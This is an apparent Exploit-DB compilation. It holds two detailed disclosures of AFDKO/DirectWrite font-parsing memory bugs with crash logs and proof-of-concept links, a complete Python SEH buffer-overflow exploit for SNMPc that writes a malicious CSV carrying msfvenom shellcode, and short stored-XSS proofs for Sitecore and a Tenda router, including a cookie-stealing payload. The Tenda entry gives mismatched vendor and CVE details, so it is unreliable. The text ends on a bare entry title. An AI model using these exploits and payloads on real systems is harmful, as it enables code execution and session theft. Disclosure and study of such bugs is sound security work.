message(h, "post 2.0: invalid strings"); 2017 goto parseError; 2018 } 2019 } 2020 *p = '\0'; 2021 if (p != end) 2022 message(h, "post 2.0: string data didn't reach end of table"); 2023 2024 return; /* Success */ 2025 2026 parseError: 2027 /* We managed to read the header but the rest of the table had an error that 2028 prevented reading some (or all) glyph names. We set the the post format 2029 to a value that will allow us to use the header values but will prevent 2030 us from using any glyph name data which is likely missing or invalid */ 2031 h->post.format = 0x00000001; 2032 } --- cut --- The issues are as follows: - It is possible to set a glyph name in h->post.fmt2.strings.array[i] (line 2013) to a pointer just outside the h->post.fmt2.buf.array allocation (i.e. equal to the value of the "end" pointer). This is due to the fact that the check in line 2015 only verifies that "p" doesn't go significantly outside the buffer, but allows it to be exactly on the verge of it (one byte after). This may later lead to the disclosure of out-of-bounds heap memory. - If the error branch in lines 2015-2018 is taken, the last initialized string in the h->post.fmt2.strings array won't be nul-terminated, which also may disclose data from adjacent heap chunks. -----=====[ Proof of Concept ]=====----- There are three proof of concept files, poc_null_deref.otf, poc_uninit.otf and poc_oob.otf. They trigger crashes as a result of a NULL pointer dereference, use of uninitialized memory and an out-of-bounds memory read, respectively. The malformed values are as follows: - In poc_null_deref.otf, the first "nid" is 65535 (larger than 32767), causing the goto statement in line 1995 to be executed, which leaves h->post.fmt2.strings empty. - In poc_uninit.otf, the length of the first string on the list is declared as 255, which exceeds the length of the overall "post" table. This causes postRead() to bail out early in cffread.c:2017, with only h->post.fmt2.strings.array[0] having been initialized, but not array[1] or array[2]. However the latter two values are still returned as valid glyph names by post2GetName(). Later on, this leads to a crash while trying to read from address 0xbebe..be, with 0xbe being ASAN's uninitialized memory marker. - In poc_oob.otf, we set numGlyphs to 60 (i.e. the length of the h->post.fmt2.glyphNameIndex) array, but set the "nid" values such that strCount (i.e. the length of h->post.fmt2.strings) equals 50. All 50 string lengths are set to 0 except for the last one, which is set to 255, exceeding the size of the "post" table. This causes the "goto" in line 2017 to be taken, setting the post table format to 0x00000001. At a later stage of the font parsing, post2GetName() is called with gid=0, 1, ... 49, 50, 51, 52, and so forth. When "gid" reaches 50, the "gid >= h->post.fmt2.glyphNameIndex.cnt" condition is not met and "h->post.format != 0x00020000" is, so the function ends up accessing the out-of-bounds value at h->post.fmt2.strings.array[50]. The uninitialized memory case doesn't affect Microsoft DirectWrite, as its own allocation function returns zero-ed out memory. -----=====[ Crash logs ]=====----- A 64-bit build of "tx" compiled with AddressSanitizer, started with ./tx -cff poc_uninit.otf crashes in the following way: --- cut --- Program received signal SIGSEGV, Segmentation fault. 0x00000000005b5add in glyphBeg (cb=0x62c0000078d8, info=0x7ffff7e2a850) at ../../../../../source/cffwrite/cffwrite_t2cstr.c:243 243 (info->gname.ptr == NULL || info->gname.ptr[0] == '\0')) { (gdb) x/10i $rip => 0x5b5add <glyphBeg+2125>: mov 0x7fff8000(%rdx),%sil 0x5b5ae4 <glyphBeg+2132>: cmp $0x0,%sil 0x5b5ae8 <glyphBeg+2136>: mov %rcx,-0x138(%rbp) 0x5b5aef <glyphBeg+2143>: mov %sil,-0x139(%rbp) 0x5b5af6 <glyphBeg+2150>: je 0x5b5b23 <glyphBeg+2195> 0x5b5afc <glyphBeg+2156>: mov -0x138(%rbp),%rax 0x5b5b03 <glyphBeg+2163>: and $0x7,%rax 0x5b5b07 <glyphBeg+2167>: mov %al,%cl 0x5b5b09 <glyphBeg+2169>: mov -0x139(%rbp),%dl 0x5b5b0f <glyphBeg+2175>: cmp %dl,%cl (gdb) info reg $rdx rdx 0x17d7d7d7d7d7d7d7 1718079104904320983 (gdb) print info->gname $1 = {ptr = 0xbebebebebebebebe <error: Cannot access memory at address 0xbebebebebebebebe>, impl = -1} (gdb) bt #0 0x00000000005b5add in glyphBeg (cb=0x62c0000078d8, info=0x7ffff7e2a850) at ../../../../../source/cffwrite/cffwrite_t2cstr.c:243 #1 0x00000000006d6fd2 in otfGlyphBeg (cb=0x62c0000078d8, info=0x7ffff7e2a850) at ../../../../../source/tx_shared/tx_shared.c:4812 #2 0x0000000000542089 in readGlyph (h=0x62a000000200, gid=1, glyph_cb=0x62c0000078d8) at ../../../../../source/cffread/cffread.c:2891 #3 0x0000000000541c33 in cfrIterateGlyphs (h=0x62a000000200, glyph_cb=0x62c0000078d8) at ../../../../../source/cffread/cffread.c:2966 #4 0x0000000000509663 in cfrReadFont (h=0x62c000000200, origin=0, ttcIndex=0) at ../../../../source/tx.c:151 #5 0x0000000000508cc4 in doFile (h=0x62c000000200, srcname=0x7fffffffdf37 "poc_uninit.otf") at ../../../../source/tx.c:429 #6 0x0000000000506b2f in doSingleFileSet (h=0x62c000000200, srcname=0x7fffffffdf37 "poc_uninit.otf") at ../../../../source/tx.c:488 #7 0x00000000004fc91f in parseArgs (h=0x62c000000200, argc=2, argv=0x7fffffffdc30) at ../../../../source/tx.c:558 #8 0x00000000004f9471 in main (argc=2, argv=0x7fffffffdc30) at ../../../../source/tx.c:1631 (gdb) --- cut --- A 64-bit build of "tx" compiled with AddressSanitizer, started with ./tx -cff poc_oob.otf prints out the following report: --- cut --- ================================================================= ==172440==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6140000005d0 at pc 0x000000556c71 bp 0x7fffcbccca60 sp 0x7fffcbccca58 READ of size 8 at 0x6140000005d0 thread T0 #0 0x556c70 in post2GetName afdko/c/public/lib/source/cffread/cffread.c:1824:16 #1 0x555f53 in readCharSetFromPost afdko/c/public/lib/source/cffread/cffread.c:2115:27 #2 0x53efc4 in readCharset afdko/c/public/lib/source/cffread/cffread.c:2143:13 #3 0x5299c7 in cfrBegFont afdko/c/public/lib/source/cffread/cffread.c:2789:9 #4 0x50928d in cfrReadFont afdko/c/tx/source/tx.c:137:9 #5 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17 #6 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5 #7 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17 #8 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9 #9 0x7f655ae8e2b0 in __libc_start_main #10 0x41e5b9 in _start 0x6140000005d0 is located 0 bytes to the right of 400-byte region [0x614000000440,0x6140000005d0) allocated by thread T0 here: #0 0x4c63f3 in __interceptor_malloc #1 0x6c9da2 in mem_manage afdko/c/public/lib/source/tx_shared/tx_shared.c:73:20 #2 0x5474a4 in dna_manage afdko/c/public/lib/source/cffread/cffread.c:271:17 #3 0x7de92e in dnaGrow afdko/c/public/lib/source/dynarr/dynarr.c:86:23 #4 0x7def55 in dnaSetCnt afdko/c/public/lib/source/dynarr/dynarr.c:119:13 #5 0x554658 in postRead afdko/c/public/lib/source/cffread/cffread.c:2006:5 #6 0x53eed9 in readCharset afdko/c/public/lib/source/cffread/cffread.c:2139:9 #7 0x5299c7 in cfrBegFont afdko/c/public/lib/source/cffread/cffread.c:2789:9 #8 0x50928d in cfrReadFont afdko/c/tx/source/tx.c:137:9 #9 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17 #10 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5 #11 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17 #12 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9 #13 0x7f655ae8e2b0 in __libc_start_main SUMMARY: AddressSanitizer: heap-buffer-overflow afdko/c/public/lib/source/cffread/cffread.c:1824:16 in post2GetName Shadow bytes around the buggy address: 0x0c287fff8060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c287fff8070: 00 00 00 00 00 00 00 00 00 00 00 00 00 fa fa fa 0x0c287fff8080: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00 0x0c287fff8090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c287fff80a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c287fff80b0: 00 00 00 00 00 00 00 00 00 00[fa]fa fa fa fa fa 0x0c287fff80c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c287fff80d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c287fff80e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c287fff80f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c287fff8100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==172440==ABORTING --- cut --- A similar Microsoft Edge renderer process crash is also shown below (with Application Verifier enabled for MicrosoftEdgeCP.exe): --- cut --- (221c.1250): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. DWrite!post2GetName+0x25: 00007ffd`100f5475 488b04c8 mov rax,qword ptr [rax+rcx*8] ds:00000247`2b29b000=???????????????? 0:039> ? rax Evaluate expression: 2504690085488 = 00000247`2b29ae70 0:039> ? rcx Evaluate expression: 50 = 00000000`00000032 0:039> dq rax 00000247`2b29ae70 00000247`2b296ed1 00000247`2b296ed2 00000247`2b29ae80 00000247`2b296ed3 00000247`2b296ed4 00000247`2b29ae90 00000247`2b296ed5 00000247`2b296ed6 00000247`2b29aea0 00000247`2b296ed7 00000247`2b296ed8 00000247`2b29aeb0 00000247`2b296ed9 00000247`2b296eda 00000247`2b29aec0 00000247`2b296edb 00000247`2b296edc 00000247`2b29aed0 00000247`2b296edd 00000247`2b296ede 00000247`2b29aee0 00000247`2b296edf 00000247`2b296ee0 0:039> k # Child-SP RetAddr Call Site 00 00000044`6973a9e8 00007ffd`100f5b52 DWrite!post2GetName+0x25 01 00000044`6973a9f0 00007ffd`100f5d2b DWrite!readCharSetFromPost+0x1b6 02 00000044`6973aa30 00007ffd`100f9b80 DWrite!readCharset+0x37 03 00000044`6973aa60 00007ffd`100ed7f7 DWrite!cfrBegFont+0x680 04 00000044`6973b500 00007ffd`10083a1f DWrite!AdobeCFF2Snapshot+0x10f 05 00000044`6973ba00 00007ffd`10082ce1 DWrite!FontInstancer::InstanceCffTable+0x163 06 00000044`6973bbf0 00007ffd`1008295e DWrite!FontInstancer::CreateInstanceInternal+0x239 07 00000044`6973be10 00007ffd`100633de DWrite!FontInstancer::CreateInstance+0x182 08 00000044`6973c170 00007ffd`1ca008e3 DWrite!DWriteFontFace::CreateInstancedStream+0x9e 09 00000044`6973c200 00007ffd`1c9f28b9 d2d1!dxc::TextConvertor::InstanceFontResources+0x19f 0a 00000044`6973c320 00007ffd`032b8394 d2d1!dxc::CXpsPrintControl::Close+0xc9 0b 00000044`6973c370 00007ffd`03292760 edgehtml!CDXPrintControl::Close+0x44 0c 00000044`6973c3c0 00007ffd`0329784d edgehtml!CTemplatePrinter::EndPrintD2D+0x50 0d 00000044`6973c3f0 00007ffd`0315dc9d edgehtml!CPrintManagerTemplatePrinter::endPrint+0x2d 0e 00000044`6973c420 00007ffd`02d9b665 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Trampoline_endPrint+0x45 0f 00000044`6973c460 00007ffd`021aab4e edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Profiler_endPrint+0x25 --- cut --- -----=====[ References ]=====----- [1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/ [2] https://github.com/adobe-type-tools/afdko [3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal [4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369 Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47101.zip
-
Microsoft DirectWrite / AFDKO - Heap-Based Out-of-Bounds Read/Write in OpenType Font Handling Due to Empty ROS Strings
-----=====[ Background ]=====----- AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree. At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification. We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality. One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. Below is a description of one such security vulnerability in Adobe's library exploitable through the Edge web browser. -----=====[ Description ]=====----- While fuzzing the standard "tx" AFDKO utility using a "tx -cff <input file> /dev/null" command, we have encountered multiple crashes in the CFF Writer (cfw) component of the FDK. These crashes are triggered in the cfwSindexAssignSID() function in the afdko/c/public/lib/source/cffwrite/cffwrite_sindex.c file: --- cut --- 158 /* Assign the next custom SID to the specified custom string. */ 159 SID cfwSindexAssignSID(cfwCtx g, SRI index) { 160 sindexCtx h = g->ctx.sindex; 161 if (index < STD_STR_CNT) { 162 return index; 163 } else { 164 CustomRec *custom = &h->custom.array[index - STD_STR_CNT]; 165 if (custom->sid == SID_UNDEF) { 166 custom->sid = h->nextid++; 167 } 168 return custom->sid; 169 } 170 } --- cut --- In all cases, the exception is thrown in line 165, and is caused by an out-of-bounds access to h->custom.array[] due to the "index" argument being equal to 65535 (0xffff). The two different invocations of cfwSindexAssignSID() which trigger the crash are found in the cfwDictFillTop() function in cffwrite/cffwrite_dict.c (lines 520 and 522): --- cut --- 517 /* ROS */ 518 if (top->sup.flags & ABF_CID_FONT) { 519 cfwDictSaveInt(dst, 520 cfwSindexAssignSID(g, (SRI)top->cid.Registry.impl)); 521 cfwDictSaveInt(dst, 522 cfwSindexAssignSID(g, (SRI)top->cid.Ordering.impl)); 523 cfwDictSaveInt(dst, top->cid.Supplement); 524 cfwDictSaveOp(dst, cff_ROS); 525 } --- cut --- The cause of the problem is that the top->cid.Registry.impl and/or top->cid.Ordering.impl fields are set to 0xffff while executing the above code, and they are treated as valid indexes into h->custom.array, even though they contain the special marker values. The "Registry" and "Ordering" strings are initialized when a cff_ROS operator is encountered while loading an input DICT structure in readDICT (cffread/cffread.c): --- cut --- 1287 case cff_ROS: 1288 CHKUFLOW(3); 1289 top->cid.Registry.ptr = sid2str(h, (SID)INDEX_INT(0)); 1290 top->cid.Ordering.ptr = sid2str(h, (SID)INDEX_INT(1)); 1291 top->cid.Supplement = INDEX_INT(2); 1292 h->flags |= CID_FONT; 1293 break; --- cut --- Later on, these strings are added to the string index of the output font in cfwDictCopyTop (cffwrite/cffwrite_dict.c): --- cut --- 193 /* Add strings to index */ 194 addString(g, &dst->version); [...] 204 addString(g, &dst->cid.Registry); 205 addString(g, &dst->cid.Ordering); 206 } --- cut --- where addString() is defined as: --- cut --- 59 /* Add string to string index. */ 60 static void addString(cfwCtx g, abfString *str) { 61 str->impl = cfwSindexAddString(g, str->ptr); 62 } --- cut --- where in turn cfwSindexAddString() is defined as (cffwrite/cffwrite_sindex.c): --- cut --- 99 /* Add string. If standard string return its SID, otherwise if in table return 100 existing record index, else add to table and return new record index. If 101 string is empty return SRI_UNDEF. */ 102 SRI cfwSindexAddString(cfwCtx g, char *string) { 103 sindexCtx h = g->ctx.sindex; 104 size_t index; 105 StdRec *std; 106 107 if (string == NULL || *string == '\0') { 108 return SRI_UNDEF; /* Reject invalid strings */ 109 } [...] --- cut --- As a result, it should be possible to set cid.Registry.impl and/or cid.Ordering.impl to SRI_UNDEF (0xffff) with non-existent or empty strings. The cfwEndFont() function attempts to protect against this situation by checking if the string pointers are not equal to ABF_UNSET_PTR: --- cut --- 1875 /* Validate CID data */ 1876 if (top->cid.Registry.ptr == ABF_UNSET_PTR || 1877 top->cid.Ordering.ptr == ABF_UNSET_PTR || 1878 top->cid.Supplement == ABF_UNSET_INT) { 1879 return cfwErrBadDict; 1880 } --- cut --- However these checks are insufficient, as it is still possible to make cfwSindexAddString() return SRI_UNDEF for correctly initialized, but empty strings. This results in passing 0xffff as an argument to cfwSindexAssignSID(), which triggers out-of-bounds reads in lines 165 and 168 in cffwrite_sindex.c, and potentially an OOB write in line 166. Under specific conditions, this may lead to memory corruption and arbitrary code execution. -----=====[ Proof of Concept ]=====----- The CFF table inside the proof of concept poc.otf font has the strings "Adobe" and "Identity" (corresponding to the Registry and Ordering fields) modified to "\0dobe" and "\0dentity". As the strings appear to be empty to cfwSindexAddString(), the SRI_UNDEF value is returned and later passed to cfwSindexAssignSID(), which triggers a crash. The font is also specially crafted to parse correctly with DirectWrite but trigger the bug in AFDKO. The original CFF2 table was left untouched, and another, modified CFF table from an external CID-keyed font was added with the tag "CFF ". This way, DirectWrite successfully loads the legitimate variable font, and AFDKO processes the modified version as the CFF table takes precedence over CFF2 due to the logic implemented in srcOpen() in afdko/c/public/lib/source/cffread/cffread.c. -----=====[ Crash logs ]=====----- A 64-bit build of "tx", started with ./tx -cff poc.otf crashes in the following way: --- cut --- Program received signal SIGSEGV, Segmentation fault. 0x0000000000424ac2 in cfwSindexAssignSID (g=0x6fd890, index=65535) at ../../../../../source/cffwrite/cffwrite_sindex.c:165 165 if (custom->sid == SID_UNDEF) { (gdb) print custom $1 = (CustomRec *) 0x81cb40 (gdb) print custom->sid Cannot access memory at address 0x81cb48 (gdb) print index $2 = 65535 (gdb) x/10i $rip => 0x424ac2 <cfwSindexAssignSID+98>: movzwl 0x8(%rax),%ecx 0x424ac6 <cfwSindexAssignSID+102>: cmp $0xffff,%ecx 0x424acc <cfwSindexAssignSID+108>: jne 0x424af3 <cfwSindexAssignSID+147> 0x424ad2 <cfwSindexAssignSID+114>: mov -0x20(%rbp),%rax 0x424ad6 <cfwSindexAssignSID+118>: mov 0x90(%rax),%cx 0x424add <cfwSindexAssignSID+125>: mov %cx,%dx 0x424ae0 <cfwSindexAssignSID+128>: add $0x1,%dx 0x424ae4 <cfwSindexAssignSID+132>: mov %dx,0x90(%rax) 0x424aeb <cfwSindexAssignSID+139>: mov -0x28(%rbp),%rax 0x424aef <cfwSindexAssignSID+143>: mov %cx,0x8(%rax) (gdb) info reg $rax rax 0x81cb40 8506176 (gdb) bt #0 0x0000000000424ac2 in cfwSindexAssignSID (g=0x6fd890, index=65535) at ../../../../../source/cffwrite/cffwrite_sindex.c:165 #1 0x0000000000421b94 in cfwDictFillTop (g=0x6fd890, dst=0x71b3f0, top=0x71b148, font0=0x7ffff75b9010, iSyntheticBase=-1) at ../../../../../source/cffwrite/cffwrite_dict.c:520 #2 0x000000000041b6db in fillSet (h=0x6fdbd0) at ../../../../../source/cffwrite/cffwrite.c:1059 #3 0x000000000041ae7c in cfwEndSet (g=0x6fd890) at ../../../../../source/cffwrite/cffwrite.c:2128 #4 0x000000000047a79c in cff_EndSet (h=0x6f6010) at ../../../../../source/tx_shared/tx_shared.c:1076 #5 0x000000000040533f in doSingleFileSet (h=0x6f6010, srcname=0x7fffffffdf1b "poc.otf") at ../../../../source/tx.c:489 #6 0x0000000000402f59 in parseArgs (h=0x6f6010, argc=2, argv=0x7fffffffdc20) at ../../../../source/tx.c:558 #7 0x0000000000401df2 in main (argc=2, argv=0x7fffffffdc20) at ../../../../source/tx.c:1631 (gdb) --- cut --- A similar Microsoft Edge renderer process crash is also shown below: --- cut --- (4c7c.2a54): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. DWrite!cfwSindexAssignSID+0x21: 00007ffc`c59ea471 663984caccf3ffff cmp word ptr [rdx+rcx*8-0C34h],ax ds:000001b6`7296ed24=???? 0:037> ? rcx Evaluate expression: 65535 = 00000000`0000ffff 0:037> ? rdx Evaluate expression: 1883117648224 = 000001b6`728ef960 0:037> k # Child-SP RetAddr Call Site 00 00000080`c43ab518 00007ffc`c59eb0e1 DWrite!cfwSindexAssignSID+0x21 01 00000080`c43ab520 00007ffc`c59e01cd DWrite!cfwDictFillTop+0x179 02 00000080`c43ab570 00007ffc`c59e219d DWrite!fillSet+0x61 03 00000080`c43ab5e0 00007ffc`c59d2314 DWrite!cfwEndSet+0x51 04 00000080`c43ab620 00007ffc`c596157a DWrite!AdobeCFF2Snapshot+0x23c 05 00000080`c43abb20 00007ffc`c5960729 DWrite!FontInstancer::InstanceCffTable+0x212 06 00000080`c43abd00 00007ffc`c596039a DWrite!FontInstancer::CreateInstanceInternal+0x249 07 00000080`c43abf20 00007ffc`c5945a4e DWrite!FontInstancer::CreateInstance+0x192 08 00000080`c43ac280 00007ffc`d4ae61ab DWrite!DWriteFontFace::CreateInstancedStream+0x9e 09 00000080`c43ac310 00007ffc`d4ad9148 d2d1!dxc::TextConvertor::InstanceFontResources+0x19f 0a 00000080`c43ac430 00007ffc`b4465464 d2d1!dxc::CXpsPrintControl::Close+0xc8 0b 00000080`c43ac480 00007ffc`b443fd30 edgehtml!CDXPrintControl::Close+0x44 0c 00000080`c43ac4d0 00007ffc`b44448bd edgehtml!CTemplatePrinter::EndPrintD2D+0x5c 0d 00000080`c43ac500 00007ffc`b431b995 edgehtml!CPrintManagerTemplatePrinter::endPrint+0x2d 0e 00000080`c43ac530 00007ffc`b3f79485 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Trampoline_endPrint+0x45 0f 00000080`c43ac570 00007ffc`b34344c1 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Profiler_endPrint+0x25 [...] --- cut --- -----=====[ References ]=====----- [1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/ [2] https://github.com/adobe-type-tools/afdko [3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal [4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369 Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47103.zip
-
SNMPc Enterprise Edition 9/10 - Mapping Filename Buffer Overflow
#!/usr/bin/python # -*- coding: utf-8 -*- #--------------------------------------------------------------------# # Exploit: SNMPc Enterprise Edition (9 & 10) (Mapping File Name BOF) # # Date: 11 July 2019 # # Exploit Author: @xerubus | mogozobo.com # # Vendor Homepage: https://www.castlerock.com/ # # Software Linke: https://www.castlerock.com/products/snmpc/ # # Version: Enterprise Editioin 9 & 10 # # Tested on: Windows 7 # # CVE-ID: CVE-2019-13494 # # Full write-up: https://www.mogozobo.com/?p=3534 # #--------------------------------------------------------------------# import sys, os os.system('clear') print("""\ _ _ ___ (~ )( ~) / \_\ \/ / | D_ ]\ \/ -= SNMPc_Mapping_BOF by @xerubus =- | D _]/\ \ -= We all have something to hide =- \___/ / /\ \\ (_ )( _) @Xerubus """) filename="evilmap.csv" junk = "A" * 2064 nseh = "\xeb\x07\x90\x90" # short jmp to 0018f58d \xeb\x07\x90\x90 seh = "\x05\x3c\x0e\x10" # 0x100e3c05 ; pop esi # pop edi # ret (C:\program files (x86)\snmpc network manager\CRDBAPI.dll) # Pre-padding of mapping file. Note mandatory trailing character return. pre_padding = ( "Name,Type,Address,ObjectID,Description,ID,Group1,Group2,Icon,Bitmap,Bitmap Scale,Shape/Thickness,Parent,Coordinates,Linked Nodes,Show Label,API Exec,MAC,Polling Agent,Poll Interval,Poll Timeout,Poll Retries,Status Variable,Status Value,Status Expression,Services,Status,Get Community,Set Community,Trap Community,Read Access Mode,Read/Write Access Mode,V3 NoAuth User,V3 Auth User,V3 Auth Password,V3 Priv Password" "\"Root Subnet\",\"Subnet\",\"\",\"\",\"\",\"2\",\"000=Unknown\",\"\",\"auto.ico\",\"\",\"2\",\"Square\",\"(NULL)\",\"(0,0)\",\"N/A\",\"True\",\"auto.exe\",\"00 00 00 00 00 00\",\"127.0.0.1\",\"30\",\"2\",\"2\",\"\",\"0\",\"0\",\"\",\"Normal-Green\",\"public\",\"netman\",\"public\",\"SNMP V1\",\"SNMP V1\",\"\",\"\",\"\",\"\"\n" "\"") # Post-padding of mapping file. Note mandatory trailing character return. post_padding = ( "\",\"Device\",\"127.0.0.1\",\"1.3.6.1.4.1.29671.2.107\",\"\",\"3\",\"000=Unknown\",\"000=Unknown\",\"auto.ico\",\"\",\"2\",\"Square\",\"Root Subnet(2)\",\"(-16,-64)\",\"N/A\",\"True\",\"auto.exe\",\"00 00 00 00 00 00\",\"127.0.0.1\",\"30\",\"2\",\"2\",\"\",\"0\",\"=\",\"\",\"Normal-Green\",\"public\",\"netman\",\"public\",\"SNMP V1\",\"SNMP V1\",\"\",\"\",\"\",\"\"\n") # msfvenom —platform windows -p windows/exec cmd=calc.exe -b "\x00\x0a\x0d" -f c shellcode = ( "\xda\xcc\xd9\x74\x24\xf4\xba\xd9\xa1\x94\x48\x5f\x2b\xc9\xb1" "\x31\x31\x57\x18\x83\xc7\x04\x03\x57\xcd\x43\x61\xb4\x05\x01" "\x8a\x45\xd5\x66\x02\xa0\xe4\xa6\x70\xa0\x56\x17\xf2\xe4\x5a" "\xdc\x56\x1d\xe9\x90\x7e\x12\x5a\x1e\x59\x1d\x5b\x33\x99\x3c" "\xdf\x4e\xce\x9e\xde\x80\x03\xde\x27\xfc\xee\xb2\xf0\x8a\x5d" "\x23\x75\xc6\x5d\xc8\xc5\xc6\xe5\x2d\x9d\xe9\xc4\xe3\x96\xb3" "\xc6\x02\x7b\xc8\x4e\x1d\x98\xf5\x19\x96\x6a\x81\x9b\x7e\xa3" "\x6a\x37\xbf\x0c\x99\x49\x87\xaa\x42\x3c\xf1\xc9\xff\x47\xc6" "\xb0\xdb\xc2\xdd\x12\xaf\x75\x3a\xa3\x7c\xe3\xc9\xaf\xc9\x67" "\x95\xb3\xcc\xa4\xad\xcf\x45\x4b\x62\x46\x1d\x68\xa6\x03\xc5" "\x11\xff\xe9\xa8\x2e\x1f\x52\x14\x8b\x6b\x7e\x41\xa6\x31\x14" "\x94\x34\x4c\x5a\x96\x46\x4f\xca\xff\x77\xc4\x85\x78\x88\x0f" "\xe2\x77\xc2\x12\x42\x10\x8b\xc6\xd7\x7d\x2c\x3d\x1b\x78\xaf" "\xb4\xe3\x7f\xaf\xbc\xe6\xc4\x77\x2c\x9a\x55\x12\x52\x09\x55" "\x37\x31\xcc\xc5\xdb\x98\x6b\x6e\x79\xe5") print "[+] Building payload.." payload = "\x90" * 10 + shellcode print "[+] Creating buffer.." buffer = pre_padding + junk + nseh + seh + payload + "\x90" * 10 + post_padding print "[+] Writing evil mapping file.." textfile = open(filename , 'w') textfile.write(buffer) textfile.close() print "[+] Done. Import evilmap.csv into SNMPc and A Wild Calc Appears!\n\n"
-
Sitecore 9.0 rev 171002 - Persistent Cross-Site Scripting
# Exploit Title: Stored Cross Site Scripting (XSS) in Sitecore 9.0 rev 171002 # Date: July 11, 2019 # Exploit Author: Owais Mehtab # Vendor Homepage: http://www.sitecore.net/en # Version: 9.0 rev. 171002 # Tested on: Sitecore Experience Platform 8.1 Update-3 i.e.; 8.1 rev. 160519 # CVE : CVE-2019-13493 Vendor Description ------------------ Sitecore CMS makes it effortless to create content and experience rich websites that help you achieve your business goals such as increasing sales and search engine visibility, while being straight-forward to integrate and administer. Sitecore lets you deliver sites that are highly scalable, robust and secure. Whether you're focused on marketing, development and design, or providing site content, Sitecore delivers for you. Description ------------ Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted web sites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Vulnerability Class -------------------- Cross-site Scripting (XSS) - https://www.owasp.org/index.php/Cross-site_Scripting_(XSS) Proof of Concept ---------------- File Extension parameter is not properly escaped. This could lead to an XSS attack that could possibly affect administrators,users,editor. 1. Login to application and navigate to "https://example.com/sitecore/shell/Applications/Content Editor.aspx?sw_bw=1" 2. Go to media library and click on any image and edit it 3. Now in Extension input parameter inject any XSS vector like '"><svg=onload=prompt(2)>
-
Tenda D301 v2 Modem Router - Persistent Cross-Site Scripting
# Exploit Title: tenda D301 v2 modem router stored xss CVE-2019-13492 # Exploit Author: ABDO10 # Date : July, 11th 2019 # Product : Tenda D301 v2 Modem Router # version : v2 # Vendor Homepage: https://www.tp-link.com/au/home-networking/dsl-modem-router/td-w8960n/ # Tested on: Linux # CVE : 2019-13491 # Poc Instructions : /*******************************************************************************************************************/ > 1 - Open modem router on web browser default(192.168.1.1) > 2 - Click on advanced -> Wireless -> Security > 3 - fill this payload : <img src="xy" OnError=prompt(document.cookie)> as password > 4 - Click on "click to display" /*******************************************************************************************************************/
-
MyT Project Management 1.5.1 - User[username] Persistent Cross-Site Scripting
